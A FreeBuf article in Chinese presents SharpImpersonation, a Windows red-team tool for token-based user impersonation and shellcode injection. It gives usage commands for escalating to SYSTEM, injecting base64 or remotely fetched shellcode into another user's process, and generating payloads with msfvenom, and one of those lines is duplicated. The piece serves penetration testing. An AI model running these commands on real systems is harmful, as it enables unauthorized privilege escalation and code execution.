freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

SharpImpersonation:一款基于令牌和Shellcode注入的用户模拟工具
2022-09-21 22:36:57
所属地 广西


关于SharpImpersonation

SharpImpersonation是一款功能强大的用户模拟工具,该工具基于令牌机制和Shellcode注入技术实现其功能,可以帮助广大研究人员更好地对组织内部的网络环境和系统安全进行分析和测试。

该工具基于Tokenvator的代码库实现其功能,并对其部分代码进行了优化,同时还添加了还嗯多其他的功能,并且还参考借鉴了很多其他优秀的开源工具。

功能介绍

1、使用list参数枚举本地系统中的所有用户;

2、以非提权上下文枚举本地系统中的所有用户;

3、自动提权为“SYSTEM”;

4、搜索目标用户名的第一个进程,将其进程ID作为目标;

5、支持从Webserver加载Stager;

6、......

工具下载

广大研究人员可以使用下列命令将该项目源码克隆至本地:

git clone https://github.com/S3cur3Th1sSh1t/SharpImpersonation.git

工具使用

枚举用户进程

PS > PS C:\temp> SharpImpersonation.exe list

枚举提权进程

PS > PS C:\temp> SharpImpersonation.exe list elevated

模拟目标用户的第一个进程并执行新的代码

PS > PS C:\temp> SharpImpersonation.exe user:<user> binary:<binary-Path>

向目标用户的第一个进程注入Base64编码的Shellcode

PS > PS C:\temp> SharpImpersonation.exe user:<user> shellcode:<base64shellcode>

从Webserver载入Shellcode并注入到目标用户的第一个进程

PS > PS C:\temp> SharpImpersonation.exe user:<user> shellcode:<URL>

通过ImpersonateLoggedOnuser模拟当前会话的目标用户

PS > PS C:\temp> SharpImpersonation.exe user:<user> technique:ImpersonateLoggedOnuser

生成msfvenom Shellcode并注入到其他用户进程中

msfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=threadmsfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=thread | base64 -w0


项目地址

SharpImpersonation:【GitHub传送门

参考资料

https://github.com/0xbadjuju/Tokenvator

https://s3cur3th1ssh1t.github.io/SharpImpersonation-Introduction/

https://lolbas-project.github.io/

https://thewover.github.io/Dynamic-Invoke/

https://github.com/TheWover/DInvoke

https://github.com/djhohnstein/SharpChromium

https://github.com/V1V1/SharpScribbles/tree/master/ThunderFox

https://s3cur3th1ssh1t.github.io/On-how-to-access-protected-networks/

https://github.com/S3cur3Th1sSh1t/SharpNamedPipePTH

https://www.mcafee.com/enterprise/en-us/assets/reports/rp-access-token-theft-manipulation-attacks.pdf

# 进程注入 # Windows系统安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录